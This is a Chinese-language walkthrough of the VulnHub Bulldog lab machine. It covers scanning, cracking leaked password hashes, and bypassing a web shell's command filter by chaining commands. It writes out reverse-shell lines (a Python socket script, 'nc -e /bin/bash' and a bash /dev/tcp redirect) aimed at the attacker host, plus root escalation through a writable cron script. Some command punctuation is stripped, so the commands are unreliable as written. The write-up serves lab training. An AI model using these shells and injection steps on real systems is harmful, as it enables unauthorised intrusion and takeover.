VulnHub 系列:Bulldog,walkthrough
前言这个靶机在vmware安装后无法被扫描到ip。参照上一篇前言的方法修改靶机ip地址为静态192.168.152.129。一、信息收集1查看 kali 攻击机的 IP 地址ifconfig2查看同网段有哪些设备netdiscover -r 192.168.152.0/24Nmap 扫描端口和服务nmap -sS -sV -T4 -A -p- 192.168.152.129WSGI全称是 Web Server Gateway InterfaceWSGI 不是服务器、 python 模块、框架、API 或者任何软件只是一种规范描述 web server 如何与 web application 通信的规范。Dirb 目录爆破dirb http://192.168.152.129查看网页及源代码根据上面爆破出的目录对网页进行查看。/admin 是个管理员后台 常见的弱口令无法进入/dev 目录 网页上可以看到开发小组人员的邮箱和密码 hash 值可以发现都是用的公司的邮箱 那么邮箱里面可能就包含了开发小组人员的名字。解密常用网站 CMD5 SOMD5解密结果 alan 用户解密失败 william 用户解密失败 malik 用户解密失败 kevin 用 户解密失败 ashley 用户解密失败 nick/bulldog sarah/bulldoglover。2其他的有用信息• 网站使用的是 Django而不是 PHP并且没有使用 PHPMyAdmin 或者任何 有名的 CMS 框架• 开启了 SSH但很快就会被后续的 Web-Shell 取代并且下面给出了 Web- Shell 页面的连接二、反弹 shell使用 nick/bulldog 登录后台 http://192.168.152.129/admin 登录后台之后没有发现 什么有用的功能或信息。记得前面还有一个http://192.168.152.129/dev/shell/页面访问一下看看。根据页面的提示用户可以执行的命令只有上述的几个但是这里可以 使用将多个命令进行拼接那么就可以绕过限制。首先在 kali 攻击机上监听端口nc -lvp 12341.通过 bash(实测没有反弹成功)2.通过 python(成功反弹)1在kali机上编写 python 脚本内容如下vim python-shell.pyimport os,socket,subprocess; ssocket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((192.168.152.128,1234)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); psubprocess.call([/bin/bash,-i]);把python-shell.py 放在kali机桌面上以便后续操作。2在 kali 上使用 python 开启 HTTP 服务python3 -m http.server 803在http://192.168.152.129/dev/shell/ 页面使用 wget 下载 python 脚本pwdwget http://192.168.152.128/Desktop/python-shell.py4在 /dev/shell 页面执行脚本pwdpython python-shell.py3.通过 nc(需要靶机上安装了 nc。若无可先下载到kali机再通过wget下载到靶机)nc -e /bin/bash 192.168.152.128 12344.通过 echo(成功反弹)echo bash -i /dev/tcp/192.168.152.128/1234 01 | bash三、提权发现 home 目录下有一个 bulldogadmin那么优先查看这个目录。 结果执行 ls 命令时没有发现任何东西然后我执行了 ls -a发现了隐藏的文件夹。.hiddenadmindirectory 引起了注意接着在这个文件夹里面发现了 customPermissionApp 文件使用 file 命令查看一下这是个什么东西原来是个 ELF简单来说就是 Linux 的主要可执行文件格式。 然后就是这个目录下还有一个 note 文件是一些提示信息。后面就执行了 strings 命令。strings customPermissionApp神奇的是红框的地方SUPERultimatePASSWORDyouCANTget就是 django 账户的密码。SSH 登录确认一下。ssh -p 23 django192.168.152.1291第一种权限提升的方式查看 django 用户可以执行哪些命令id sudo -l我们可以看到 django 用户可以执行所有的命令于是我们通过执行以下命令切换 到 root 账户sudo su -2. 第二种权限提升的方式用了一个 Github 上的一个权限提升检查的脚本用以查看靶机上有哪些对权限提 升有帮助的东西linuxprivchecker.py。这个脚本可以做什么1枚举系统的基本信息2查找具有全局可写属性的文件3查找错误的配 置文件4查找明文密码5查找系统存在的可利用漏洞运行 linuxprivchecker 脚本看到了几个使用 root 权限执行的计划任务。这里从kali机下载curl -O http://192.168.152.128:8081/linuxprivchecker.py运行脚本python linuxprivchecker.py -w -o linuxprivchecker.log然后我们使用 cat 命令挨个查看几个计划任务发现 runAV 每分钟执行一次名叫 AVApplication.py 的 python 脚本。cat runAV并且这个脚本是全局用户可写的那么接下来的思路就是编辑这个脚本然后反弹 shell因为通过这种方式反弹 过来的 shell 是具有 root 权限的。vim /.hiddenAVDirectory/AVApplication.py在kali机上执行以下代码nc -nlvp 1234等待一分钟后id pwd ls cat congrats.txt

相关新闻

配电网P2P能源交易的分布式优化与ADMM应用

配电网P2P能源交易的分布式优化与ADMM应用

1. 项目概述 在电力系统市场化改革的背景下,点对点(P2P)能源交易正成为配电网运营的新范式。这个项目研究的是如何通过分布式优化方法,在考虑过网费用分摊的情况下,实现配电网中的高效能源交易。我们采用直流潮流模型作…

2026/8/13 21:34:13 阅读更多 →
2026年网络安全行业趋势与核心技能解析

2026年网络安全行业趋势与核心技能解析

1. 2026年网络安全行业的现状与挑战网络安全行业在2026年正面临前所未有的变革与挑战。随着数字化转型的深入,网络攻击手段日益复杂化,攻击频率和规模呈现指数级增长。根据行业数据显示,2026年全球网络攻击事件相比2020年增长了近300%&#x…

2026/8/13 20:06:54 阅读更多 →
LangChain与LangGraph实战:从零构建AI智能体开发环境与工作流

LangChain与LangGraph实战:从零构建AI智能体开发环境与工作流

这次我们来看一个面向2026年的Agent智能体框架自学教程。这个教程号称“最细最全”,覆盖了LangChain、LangGraph和MCP三大核心组件,目标是让开发者在一个月内快速掌握大模型Agent的开发能力。对于想进入AI应用层,特别是想构建具备自主推理和工…

2026/8/13 19:04:56 阅读更多 →

最新新闻

微信小程序地图导航开发实战:从定位到跳转的完整解决方案

微信小程序地图导航开发实战:从定位到跳转的完整解决方案

1. 项目概述:从“位置”到“导航”的完整链路在开发涉及LBS(基于位置的服务)的小程序时,一个高频且核心的需求是:获取用户当前位置,规划一条前往目的地的路线,并最终引导用户使用手机里最强大的…

2026/8/14 6:19:03 阅读更多 →
AI编程疲劳:从效率幻象到人机协作的开发者实践反思

AI编程疲劳:从效率幻象到人机协作的开发者实践反思

1. 从“解放双手”到“疲于奔命”:一个开发者的AI困惑最近和几个同行聊天,话题总绕不开AI。大家普遍的感觉是,自从ChatGPT、Copilot这类工具火起来之后,我们这些写代码的,好像并没有变得更轻松,反而时常陷入…

2026/8/14 6:19:03 阅读更多 →
写操作超时别急着重试:一套避免重复提交的恢复流程

写操作超时别急着重试:一套避免重复提交的恢复流程

写操作超时别急着重试:一套避免重复提交的恢复流程调用支付、发版、发消息、创建订单这类写接口时,最危险的提示往往不是“失败”,而是“超时”。失败意味着服务端明确拒绝;超时只说明调用方没有按时拿到答案,服务端可…

2026/8/14 6:19:03 阅读更多 →
贵州忘不掉的背单词小程序品牌哪个好:8个步骤从零到精通,新手也能高效背词

贵州忘不掉的背单词小程序品牌哪个好:8个步骤从零到精通,新手也能高效背词

“背单词不是死记硬背,找对8个步骤就能高效落地,让词汇量稳步提升。”本文专为贵州、北京等地的英语学习者(学生、家长、自学者)撰写,聚焦如何通过通用方法选择与使用背单词软件,帮助您从零开始掌握高效背词…

2026/8/14 6:19:03 阅读更多 →
大语言模型记忆机制解析:从Transformer瓶颈到RAG与Agent实践

大语言模型记忆机制解析:从Transformer瓶颈到RAG与Agent实践

1. 从“金鱼脑”到“记忆宫殿”:我们到底在期待什么? 聊到大语言模型的记忆,我猜很多开发者或用户的第一反应是:“这玩意儿怎么老是忘事儿?” 你刚在对话里告诉它你的名字、偏好,甚至是一段复杂的项目背景&…

2026/8/14 6:19:03 阅读更多 →
非线性最小二乘与无源定位:从夹角观测到无人机轨迹估计

非线性最小二乘与无源定位:从夹角观测到无人机轨迹估计

1. 项目概述:从一道赛题到一套方法论 去年带学生打数模,B题“夹角观测条件下无人机无源定位”这道题给我留下了挺深的印象。它不像一些纯理论推导题那么“飘”,也不像一些数据处理题那么“糙”,而是把一个非常典型的工程问题——如…

2026/8/14 6:18:03 阅读更多 →

日新闻

临沂网站建设铭镇:深耕本土数字生态,以匠心铸就企业品牌核心竞争力

临沂网站建设铭镇:深耕本土数字生态,以匠心铸就企业品牌核心竞争力

在这个流量为王、视觉至上的互联网时代,对于临沂乃至整个山东乃至全国的传统中小企业来说,拥有一张精美的“数字名片”早已不再是可选项,而是生存的必答题。每当夜幕降临,沂河两岸灯火辉煌,物流之都的喧嚣逐渐沉淀为对未来的思考。我们常常听到老板们在茶余饭后探讨:为什…

2026/8/14 0:00:26 阅读更多 →
Flutter与OpenHarmony实现剧本杀组队表单开发实战

Flutter与OpenHarmony实现剧本杀组队表单开发实战

1. 项目概述在移动应用开发领域,跨平台框架Flutter因其高效的开发体验和出色的性能表现,已经成为众多开发者的首选。而OpenHarmony作为新兴的操作系统平台,其开放性和灵活性为开发者提供了全新的可能性。本文将聚焦于一个实际应用场景——剧本…

2026/8/14 0:00:26 阅读更多 →
大连网站建设找简维科技:为您打造懂业务更懂用户的数字化转型引擎

大连网站建设找简维科技:为您打造懂业务更懂用户的数字化转型引擎

在这个数字化浪潮席卷全球的今天,企业想要在激烈的市场竞争中站稳脚跟,拥有一张好看的“数字名片”已经远远不够了。很多老板在刚开始接触互联网业务时,都有一个共同的困惑:为什么我花了钱建的网站,就像是在真空中自嗨?访客进来转了两圈就跑了,线索石沉大海,甚至连客服…

2026/8/14 0:01:27 阅读更多 →

周新闻

5分钟告别提取码焦虑:baidupankey如何智能破解百度网盘资源锁

5分钟告别提取码焦虑:baidupankey如何智能破解百度网盘资源锁

5分钟告别提取码焦虑:baidupankey如何智能破解百度网盘资源锁 【免费下载链接】baidupankey 在线查询网盘提取码(维护中 rm repo) 项目地址: https://gitcode.com/gh_mirrors/ba/baidupankey 你是否曾经在深夜寻找一份重要资料&#x…

2026/8/13 2:38:34 阅读更多 →
如何快速生成中国车牌图片:Python开源工具完整指南

如何快速生成中国车牌图片:Python开源工具完整指南

如何快速生成中国车牌图片:Python开源工具完整指南 【免费下载链接】chinese_license_plate_generator 中国车牌生成器 项目地址: https://gitcode.com/gh_mirrors/ch/chinese_license_plate_generator 中国车牌生成器是一个基于Python的开源项目&#xff0c…

2026/8/13 10:41:52 阅读更多 →
收藏!小白程序员轻松入门大模型,从Harness工程开始实践

收藏!小白程序员轻松入门大模型,从Harness工程开始实践

文章强调学习大模型不应只关注模型本身,而应重视模型外的系统搭建,即Harness。提出AgentModelHarness的实用公式,详细介绍Harness的四个层次:持久化层、执行层、控制层和观察与验证层。文章还探讨了上下文工程、工具设计、AGENTS.…

2026/8/13 10:41:51 阅读更多 →

月新闻

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南 【免费下载链接】BaiduNetdiskPlugin-macOS For macOS.百度网盘 破解SVIP、下载速度限制~ 项目地址: https://gitcode.com/gh_mirrors/ba/BaiduNetdiskPlugin-macOS 还在为百度网盘macOS版的龟速下…

2026/8/13 10:41:50 阅读更多 →
终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 还在为网易云音乐下载的NCM格式文件无法在其他播放器播放而烦恼吗?ncmdump解密工具帮你轻松解决这个困…

2026/8/13 10:41:49 阅读更多 →
HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

AgentCard 智能体卡片:为英语学习 App 打造桌面级学习助手适用平台:HarmonyOS 7.0 (API 26 Beta)一、引言 HarmonyOS 7.0(API 26 Beta)新增了 AgentCard 智能体卡片能力,这是继 HMAF(鸿蒙智能体框架&#x…

2026/8/13 10:41:49 阅读更多 →